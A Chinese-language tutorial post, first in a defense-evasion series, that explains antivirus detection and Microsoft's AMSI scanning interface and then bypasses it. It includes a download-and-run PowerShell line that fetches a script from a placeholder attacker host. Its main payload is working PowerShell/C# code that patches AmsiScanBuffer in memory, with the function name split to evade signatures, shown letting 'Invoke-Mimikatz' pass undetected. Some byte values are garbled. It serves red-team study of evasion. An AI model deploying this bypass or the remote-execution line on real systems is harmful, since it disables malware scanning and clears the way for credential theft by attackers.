|
一、介绍
大家好,这是关于各种逃避防御技术系列文章的开始。在第1部分中,我们将研究什么是 AMSI,它如何工作以及如何绕过它。
二、需求
阅读本系列文章前提需要掌握 PowerShell、汇编、虚拟内存、Frida 的基本知识,如果你不具备这些,我建议你花点时间对这些话题稍微熟悉一点。
三、Windows 程序简单执行过程
每当用户双击某个程序或通过其他方式运行该程序时,Windows loader 负责在内存中加载并映射该程序的内容,然后在代码段的开头处开始执行。
要使 Windows loader 将程序成功加载到内存中,磁盘上必须存在该二进制程序。
四、AV 检测方法
过去的 AV 不像如今的这么智能,几乎完全依赖基于签名的检测来确定内容是否恶意,只会在磁盘上写入文件或创建新进程后才开始操作 (注意:他们会使用更多的方法来检测恶意软件,但这两种方法是触发 AV 开始扫描的最常见的方法)。现在 AV 更加智能,当前的检测方法包括 (这不是一个全面的列表,但主要是看到的)
- 签名检测:通过匹配数据库中已知恶意软件的 patterns、字符串、签名、哈希来工作;
- 启发式检测:与通过搜索特定字符串来检测威胁的特征码扫描类似,基于启发式的检测会查找通常在应用程序中找不到且具有恶意意图的命令或指令。
- 行为检测:这个可能听起来像是基于启发式的,但事实并非如此。在这种情况下,反病毒程序会查找程序创建的事件,例如,试图更改或修改关键文件或文件夹、word 之类的程序正在生成 cmd.exe、程序正在调用一系列函数 (OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread) 这可能表明潜在的进程注入等。
- 沙箱检测:在这种类型的检测中,程序在沙箱 (虚拟化环境) 中运行,并记录其所有行为,最后通过沙箱中的权重系统自动分析或由恶意软件分析师手动分析又或者二者结合。在这种类型的检测中,反病毒程序将能够准确地记录该文件在特定环境中的具体功能。
无论是哪种检测方法,当二进制文件在磁盘上时,任何 AV 都更容易对其进行检测,至少在 AMSI 出现之前,AV 很难检测到无文件恶意软件 (它不会将其工件放到磁盘上,而是完全在内存中执行)。即使在今天,大多数攻击者和红队的目标都是不要触摸磁盘或尽量减少与它接触的机会,因为这样能降低被检测的可能性。
五、Invoke-Expression
PowerShell 中的 Invoke-Expression 计算或运行传递给它的字符串,并将其完全存储在内存中,而不是存储在磁盘上。我们也可以在 frida 的帮助下进行验证,也可以使用 APIMonitor。我将远程调用一个简单的 PowerShell 脚本,该脚本具有一个仅打印当前日期的函数。
- function printDate {
- get-data
- }
复制代码
- IEX(New-Object Net.WebClient).downloadString('http://attackerip:8000/date.txt'); printDate
复制代码
- frida-trace -p 10004 -x kernel32.dll -i Write*
复制代码
如果程序向某文件内写入信息,将会使用到 kernel32.dll 中的 WriteFile 或 WriteFileEx,这样就可以去跟踪 kernel32.dll 中以 Write 开头的 API,IEX cmdlet 并没在磁盘上写入信息,而是在内存中直接执行了
注意:当你按向上或向下的键,会看到 WriteFile API 调用,IEX 不会调用该 API。
六、AMSI 介绍
在微软发布 Windows10 引入 AMSI 前的日子里,对于攻击者和红队队员来说一切都很顺利,不用担心被发现。在较高的层次上,将 AMSI 视为连接 PowerShell 和反病毒软件的桥梁,我们在 PowerShell 中运行的每个命令或脚本都由 AMSI 获取并发送给已安装的反病毒软件进行检查。
AMSI 最初仅为 PowerShell 引入,后来它还集成到 Jscript、VBScript、VBA 中,后来随着 .NET framework 4.8 的引入,它也顺利集成到了 .NET 中。
AMSI 不仅可以在 PowerShell、Jscript、VBScript 或 VBA中使用,任何人都可以使用 AMSI 接口提供的 API 将 AMSI 与其程序集成。程序可以使用的 AMSI API (在示例中为 PowerShell) 在 AMSI.dll 中定义。PowerShell 进程启动后,立即将 amsi.dll 加载到该进程中。可以用 Process Hacker 来验证。
AMSI 导出下面提到的 API 函数,程序使用这些函数通过 RPC 与本地反病毒软件通信。
AmsiInitialize
程序使用此方法初始化 AMSI session,它有两个参数,一个是应用程序的名称,另一个是指向上下文结构的指针,该结构需要在程序中的后续 AMSI 相关 API 调用中指定。
- HRESULT AmsiInitialize(
- LPCWSTR appName,
- HAMSICONTEXT *amsiContext
- );
复制代码
AmsiOpenSession
接受上一次调用返回的上下文,并允许切换到该 session。如果需要,可以实例化多个 AMSI session。
- HRESULT AmsiOpenSession(
- HAMSICONTEXT amsiContext,
- HAMSISESSION *amsiSession
- );
复制代码
AmsiScanString
接受字符串并返回结果,即,如果字符串不是恶意的,则返回 1;如果字符串是恶意的,则返回 32768。
- HRESULT AmsiScanString(
- HAMSICONTEXT amsiContext,
- LPCWSTR string,
- LPCWSTR contentName,
- HAMSISESSION amsiSession,
- AMSI_RESULT *result
- );
复制代码
AmsiScanBuffer
与 AmsiScanString 类似,此方法接收缓冲区而不是字符串并返回结果。
- HRESULT AmsiScanBuffer(
- HAMSICONTEXT amsiContext,
- PVOID buffer,
- ULONG length,
- LPCWSTR contentName,
- HAMSISESSION amsiSession,
- AMSI_RESULT *result
- );
复制代码
AmsiCloseSession
此方法仅关闭程序使用 AmsiOpenSession 打开的 session。
- void AmsiCloseSession(
- HAMSICONTEXT amsiContext,
- HAMSISESSION amsiSession
- );
复制代码
在这些 AMSI API 中,我们感兴趣的是 AmsiScanString 和 AmsiScanBuffer,AmsiScanString 稍后在下面调用 AmsiScanBuffer。
七、绕过 AMSI
绕过 AMSI 最常用的两种方法是混淆和 patch 内存中的 AMSI.dll,正如 AMSI 所做的那样,它将内容传递给 AV 以确定其是否恶意,因此,如果内容被混淆,AV 将无法判断其是否恶意。
如果我们可以去除或混淆 AV 检测到的脚本中的单词,我们几乎可以运行任何脚本而不被检测到,但是混淆或去除所有检测到的单词是不可行的,因为这需要更多的时间,甚至可能破坏脚本,即使 AV 不断更新其特征,所以必须不断地更新脚本。混淆起来似乎是不可行的,因为每个 AV 供应商可能都有不同的特征,而且会不断更新。另一个最常用的绕过 AMSI 是通过 patch AmsiScanBuffer 函数,因为 AMSI.dll 加载在进程的同一虚拟内存空间中,所以几乎可以完全控制该地址空间。让我们来看看 PowerShell 在 Frida 的帮助下进行的 AMSI API 调用。
上面正在跟踪 PowerShell 发出的所有 AMSI API 调用。我们看不到传递给函数的参数,也看不到 AMSI 扫描返回的结果。当第一次启动 session 时,它会创建处理程序文件,可以修改这些文件以在运行时打印参数和结果。
- C:\Users\User\__handlers__\amsi.dll\AmsiScanBuffer.js
复制代码
上面修改了处理程序文件,以便在调用 API 时将参数输出,并在退出时打印结果。
当输入不是恶意时,AmsiScanBuffer 返回结果1;当发现输入是恶意的,AmsiScanBuffer 返回结果 32768。让我们在反汇编器中更详细地了解 AmsiScanBuffer 函数 (这里使用 IDA)。
实际扫描由左框中的说明执行。只要调用者传递的参数无效,就会调用右边的指令,80070057H 对应于 E_INVALIDARG,然后函数结束。因此,可以使用右框中的指令 patch AmsiScanBuffer 的开头,即 mov eax,80070057H;因此,每当调用 AmsiScanBuffer 时,它都会返回错误代码,而不是执行实际的 AMSI 扫描,与该指令对应的字节是 b85700780
我们需要修改 AmsiScanBuffer 的开头
- b857000780 mov eax, 80070057h
- c3 ret
复制代码
与上述指令相对应的字节为 b85700780,由于小端结构,需要反转字节。
可以看出,现在 AmsiScanBuffer 的第一条指令已被覆盖。
可以看出,现在的结果是 0,当我们在 PowerShell 中传递 "Invoke Mimikatz" 字符串时,不会触发 AMSI。
在 WinDBG 的帮助下 patch 了 AmsiScanBuffer 函数。在现实场景中,很多时候,我们可能无法使用 windbg 或任何具有运行权限的调试器访问 GUI。因此,应该有一些方法可以在不使用任何调试器的情况下对函数进行编程 patch,幸运的是,Microsoft 提供了几个 API 来与它的平台和各种服务交互。利用以下 Windows API 以编程方式 patch AMSICANBuffer:
为了在 PowerShell 中使用这些 API 调用,我们将首先使用 pinvoke (允许在托管代码中调用非托管 API) ,然后使用 add type 将 C# 加载到 PowerShell seesion 中。
- $code = @"
- using System;
- using System.Runtime.InteropServices;
- public class WinApi {
-
- [DllImport("kernel32")]
- public static extern IntPtr LoadLibrary(string name);
-
- [DllImport("kernel32")]
- public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
-
- [DllImport("kernel32")]
- public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out int lpflOldProtect);
-
- }"@
复制代码
在上面的代码中,首先加载所需的名称空间。System.Runtime.InteropServices 是 pinvoke 实现的地方。然后为每个 native API 定义签名,我从 pinvoke.net 获取了它们。我们需要使用 Add Type 在 PowerShell session 中加载上述 C# 代码。
现在可以从 PowerShell session 内部使用这些 API 调用。
- $amsiDll = [WinApi]::LoadLibrary("amsi.dll")
- $asbAddr = [WinApi]::GetProcAddress($amsiDll, "Ams"+"iScan"+"Buf"+"fer")
- $ret = [Byte[]] ( 0xc3, 0x80, 0x07, 0x00,0x57, 0xb8 )
- $out = 0
- [WinApi]::VirtualProtect($asbAddr, [uint32]$ret.Length, 0x40, [ref] $out)
- [System.Runtime.InteropServices.Marshal]::Copy($ret, 0, $asbAddr, $ret.Length)
- [WinApi]::VirtualProtect($asbAddr, [uint32]$ret.Length, $out, [ref] $null)
复制代码
在上面的代码中,首先获取 amsi.dll 的句柄,然后调用 GetProcAddress 以获取 amsi.dll 中 AmsiScanBuffer 函数的地址。然后定义一个名为 $ret 的变量,该变量包含的字节将覆盖 AmsiScanBuffer 的第一条指令,$out 将包含 VirtualProtect 返回的内存区域的旧权限,下一步调用 VirtualProtect 将 AmsiScanBuffer 区域的权限更改为 RWX (0x40),使用 Marshal.Copy 将字节从托管内存区域复制到非托管内存区域,再次调用 VirtualProtect,将 AmsiScanBuffer 的权限更改回先前存储在 $out 中的权限。
如上所示,现在传递 "Invoke-Mimikatz" 不会触发 amsi 警报,如果您已将 PowerShell session 连接到 WinDBG,则可以验证 AmsiScanBuffer 是否已被我们的字节覆盖。
八、参考
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|